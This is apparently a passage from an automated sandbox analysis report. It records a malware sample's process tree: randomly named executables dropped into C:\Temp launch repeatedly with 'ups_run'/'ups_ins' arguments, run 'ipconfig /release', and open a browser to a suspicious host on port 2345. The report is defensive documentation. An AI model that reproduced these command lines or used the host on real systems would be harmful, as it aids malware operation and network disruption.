      Suspicious use of WriteProcessMemory
      PID:3512
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:3216
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:4512
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_eywtoljgey.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:3364
  - - C:\Temp\i_eywtoljgey.exe
      C:\Temp\i_eywtoljgey.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:4700
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\rljdbytjdb.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:3064
  - - C:\Temp\rljdbytjdb.exe
      C:\Temp\rljdbytjdb.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:4772
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:1068
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:1108
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_rljdbytjdb.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:412
  - - C:\Temp\i_rljdbytjdb.exe
      C:\Temp\i_rljdbytjdb.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:4744
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\vtqoigaywq.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:2984
  - - C:\Temp\vtqoigaywq.exe
      C:\Temp\vtqoigaywq.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:1836
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:5980
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:3336
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_vtqoigaywq.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:2660
  - - C:\Temp\i_vtqoigaywq.exe
      C:\Temp\i_vtqoigaywq.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:1872
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\qnigaysqki.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:1524
  - - C:\Temp\qnigaysqki.exe
      C:\Temp\qnigaysqki.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:5332
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:5288
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:4560
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_qnigaysqki.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:4628
  - - C:\Temp\i_qnigaysqki.exe
      C:\Temp\i_qnigaysqki.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:5468
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\kfdxvpnifa.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:4284
  - - C:\Temp\kfdxvpnifa.exe
      C:\Temp\kfdxvpnifa.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:4264
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:1116
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:2196
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_kfdxvpnifa.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:3904
  - - C:\Temp\i_kfdxvpnifa.exe
      C:\Temp\i_kfdxvpnifa.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:4944
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\xvsnkicaus.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:2036
  - - C:\Temp\xvsnkicaus.exe
      C:\Temp\xvsnkicaus.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:3528
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:1680
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:4412
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_xvsnkicaus.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:2708
  - - C:\Temp\i_xvsnkicaus.exe
      C:\Temp\i_xvsnkicaus.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:5268
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\pjhczusmkh.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:5880
  - - C:\Temp\pjhczusmkh.exe
      C:\Temp\pjhczusmkh.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:5508
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:444
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:2772
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_pjhczusmkh.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:2320
  - - C:\Temp\i_pjhczusmkh.exe
      C:\Temp\i_pjhczusmkh.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:124
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\czxromgecw.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:1108
  - - C:\Temp\czxromgecw.exe
      C:\Temp\czxromgecw.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      PID:3272
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:5048
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:5236
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_czxromgecw.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:1216
  - - C:\Temp\i_czxromgecw.exe
      C:\Temp\i_czxromgecw.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:2736
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\jdbwtomgey.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:4100
  - - C:\Temp\jdbwtomgey.exe
      C:\Temp\jdbwtomgey.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      PID:2360
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:4536
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:2164
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_jdbwtomgey.exe ups_ins
    3⤵
    PID:2612
  - - C:\Temp\i_jdbwtomgey.exe
      C:\Temp\i_jdbwtomgey.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:4844
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\ljgbywqojg.exe ups_run
    3⤵
    PID:4512
  - - C:\Temp\ljgbywqojg.exe
      C:\Temp\ljgbywqojg.exe ups_run
      4⤵
      System Location Discovery: System Language Discovery
      PID:3668
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:4688
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:2416
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_ljgbywqojg.exe ups_ins
    3⤵
    PID:3292
  - - C:\Temp\i_ljgbywqojg.exe
      C:\Temp\i_ljgbywqojg.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:4828
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\ytqljgbvtn.exe ups_run
    3⤵
    PID:4676
  - - C:\Temp\ytqljgbvtn.exe
      C:\Temp\ytqljgbvtn.exe ups_run
      4⤵
      System Location Discovery: System Language Discovery
      PID:3820
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:4120
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:2736
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_ytqljgbvtn.exe ups_ins
    3⤵
    PID:5016
  - - C:\Temp\i_ytqljgbvtn.exe
      C:\Temp\i_ytqljgbvtn.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:1112
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\nlfdavqnig.exe ups_run
    3⤵
    PID:1868
  - - C:\Temp\nlfdavqnig.exe
      C:\Temp\nlfdavqnig.exe ups_run
      4⤵
      System Location Discovery: System Language Discovery
      PID:4084
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:1872
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:5988
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_nlfdavqnig.exe ups_ins
    3⤵
    PID:5720
  - - C:\Temp\i_nlfdavqnig.exe
      C:\Temp\i_nlfdavqnig.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:5468
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\cavsnkfdxv.exe ups_run
    3⤵
    PID:4520
  - - C:\Temp\cavsnkfdxv.exe
      C:\Temp\cavsnkfdxv.exe ups_run
      4⤵
      System Location Discovery: System Language Discovery
      PID:3800
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:3424
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:4828
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_cavsnkfdxv.exe ups_ins
    3⤵
    PID:1388
  - - C:\Temp\i_cavsnkfdxv.exe
      C:\Temp\i_cavsnkfdxv.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:200
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\faxvpnkfcx.exe ups_run
    3⤵
    PID:5956
  - - C:\Temp\faxvpnkfcx.exe
      C:\Temp\faxvpnkfcx.exe ups_run
      4⤵
      System Location Discovery: System Language Discovery
      PID:2764
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:3204
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:1804
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_faxvpnkfcx.exe ups_ins
    3⤵
    PID:5252
  - - C:\Temp\i_faxvpnkfcx.exe
      C:\Temp\i_faxvpnkfcx.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:5212
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\cxupmkecxu.exe ups_run
    3⤵
    PID:264
  - - C:\Temp\cxupmkecxu.exe
      C:\Temp\cxupmkecxu.exe ups_run
      4⤵
      System Location Discovery: System Language Discovery
      PID:4696
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:4108
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:256
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_cxupmkecxu.exe ups_ins
    3⤵
    PID:2804
  - - C:\Temp\i_cxupmkecxu.exe
      C:\Temp\i_cxupmkecxu.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:2836
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\urmkecwuom.exe ups_run
    3⤵
    PID:1440
  - - C:\Temp\urmkecwuom.exe
      C:\Temp\urmkecwuom.exe ups_run
      4⤵
      System Location Discovery: System Language Discovery
      PID:968
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:2428
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:2440
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_urmkecwuom.exe ups_ins
    3⤵
    PID:4524
  - - C:\Temp\i_urmkecwuom.exe
      C:\Temp\i_urmkecwuom.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:3756
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\pmgezwrpjh.exe ups_run
    3⤵
    PID:2376
  - - C:\Temp\pmgezwrpjh.exe
      C:\Temp\pmgezwrpjh.exe ups_run
      4⤵
      System Location Discovery: System Language Discovery
      PID:4724
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:2372
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:240
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_pmgezwrpjh.exe ups_ins
    3⤵
    PID:2492
  - - C:\Temp\i_pmgezwrpjh.exe
      C:\Temp\i_pmgezwrpjh.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:5304
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\ywromgezwr.exe ups_run
    3⤵
    PID:560
  - - C:\Temp\ywromgezwr.exe
      C:\Temp\ywromgezwr.exe ups_run
      4⤵
      System Location Discovery: System Language Discovery
      PID:5832
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:2848
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:924
- C:\Program Files\Internet Explorer\iexplore.exe
  "C:\Program Files\Internet Explorer\iexplore.exe" http://xytets.com:2345/t.asp?os=home
  2⤵
  - Modifies Internet Explorer settings
  - Suspicious use of WriteProcessMemory
  PID:3200
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" -- "http://xytets.com:2345/t.asp?os=home"
    3⤵
    - Drops file in Windows directory
    - Enumerates system info in registry
    - Modifies data under HKEY_USERS
    - Modifies registry class
    - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of WriteProcessMemory
    PID:3332
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x2f0,0x2f4,0x2f8,0x2ec,0x300,0x7ffc7c23c188,0x7ffc7c23c194,0x7ffc7c23c1a0
      4⤵
      PID:3500
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1644,i,13199680163284789978,16096922906916963628,524288 --field-trial-handle=2328,i,15224874163278825023,7573913332648833207,262144 --variations-seed-version --mojo-platform-channel-handle=2360 /prefetch:11
      4⤵
      System Time Discovery
      PID:5076
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1684,i,16996986215854976754,9115023659702258228,262144 --field-trial-handle=2328,i,15224874163278825023,7573913332648833207,262144 --variations-seed-version --mojo-platform-channel-handle=2332 /prefetch:2
      4⤵
      PID:2172
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2472,i,4809872723746130239,10023883816990857979,524288 --field-trial-handle=2328,i,15224874163278825023,7573913332648833207,262144 --variations-seed-version --mojo-platform-channel-handle=3184 /prefetch:13
      4⤵
      PID:2936
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3560,i,13075902968483109361,10428263129723007534,2097152 --field-trial-handle=2328,i,15224874163278825023,7573913332648833207,262144 --variations-seed-version --mojo-platform-channel-handle=3584 /prefetch:1
      4⤵
      PID:1952
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3580,i,15324255051260605429,7805221162728602503,2097152 --field-trial-handle=2328,i,15224874163278825023,7573913332648833207,262144 --variations-seed-version --mojo-platform-channel-handle=3592 /prefetch:1
      4⤵
      PID:1588
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --metrics-shmem-handle=4204,i,16113324834897828522,16064307630711008935,2097152 --field-trial-handle=2328,i,15224874163278825023,7573913332648833207,262144 --variations-seed-version --mojo-platform-channel-handle=4404 /prefetch:1
      4⤵
      PID:4876
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --metrics-shmem-handle=4232,i,4983402898920210397,16810476476823792503,2097152 --field-trial-handle=2328,i,15224874163278825023,7573913332648833207,262144 --variations-seed-version --mojo-platform-channel-handle=3544 /prefetch:9
      4⤵
      PID:472
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5280,i,1180597545393227563,15028600643097111102,524288 --field-trial-handle=2328,i,15224874163278825023,7573913332648833207,262144 --variations-seed-version --mojo-platform-channel-handle=5260 /prefetch:14
      4⤵
      PID:5972
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5412,i,1555117248134593186,17417706432452310739,524288 --field-trial-handle=2328,i,15224874163278825023,7573913332648833207,262144 --variations-seed-version --mojo-platform-channel-handle=5352 /prefetch:14
      4⤵
      PID:2352
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5400,i,1088712143010157442,4200413010552945171,524288 --field-trial-handle=2328,i,15224874163278825023,7573913332648833207,262144 --variations-seed-version --mojo-platform-channel-handle=5308 /prefetch:14
      4⤵
      PID:2968
  - - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5848,i,9162379328203361730,6452311692375995407,524288 --field-trial-handle=2328,i,15224874163278825023,7573913332648833207,262144 --variations-seed-version --mojo-platform-channel-handle=6032 /prefetch:14
      4⤵
      PID:1656
  - - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5848,i,9162379328203361730,6452311692375995407,524288 --field-trial-handle=2328,i,15224874163278825023,7573913332648833207,262144 --variations-seed-version --mojo-platform-channel-handle=6032 /prefetch:14
      4⤵
      PID:2344
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6272,i,4692905961643514245,13970601457571148639,524288 --field-trial-handle=2328,i,15224874163278825023,7573913332648833207,262144 --variations-seed-version --mojo-platform-channel-handle=6284 /prefetch:14
      4⤵
      PID:3272
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6636,i,13029306247127496241,7204619931795201465,524288 --field-trial-handle=2328,i,15224874163278825023,7573913332648833207,262144 --variations-seed-version --mojo-platform-channel-handle=6644 /prefetch:14
      4⤵
      PID:1536
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4752,i,1762737519652297131,5998739417141629559,524288 --field-trial-handle=2328,i,15224874163278825023,7573913332648833207,262144 --variations-seed-version --mojo-platform-channel-handle=4788 /prefetch:14
      4⤵
      PID:5360
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4756,i,7261077325444989093,5436952185173348392,524288 --field-trial-handle=2328,i,15224874163278825023,7573913332648833207,262144 --variations-seed-version --mojo-platform-channel-handle=6384 /prefetch:14
      4⤵
      PID:4732
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3544,i,14764488562739451425,13562978102029466793,524288 --field-trial-handle=2328,i,15224874163278825023,7573913332648833207,262144 --variations-seed-version --mojo-platform-channel-handle=6768 /prefetch:14
      4⤵
      PID:4412
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-US --service-sandbox-type=search_indexer --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6356,i,3195902914286328742,13646637360252342076,524288 --field-trial-handle=2328,i,15224874163278825023,7573913332648833207,262144 --variations-seed-version --mojo-platform-channel-handle=6300 /prefetch:14
      4⤵
      PID:4988
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=920,i,123719768982845484,7484422393207497869,524288 --field-trial-handle=2328,i,15224874163278825023,7573913332648833207,262144 --variations-seed-version --mojo-platform-channel-handle=6676 /prefetch:14
      4⤵
      PID:800
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
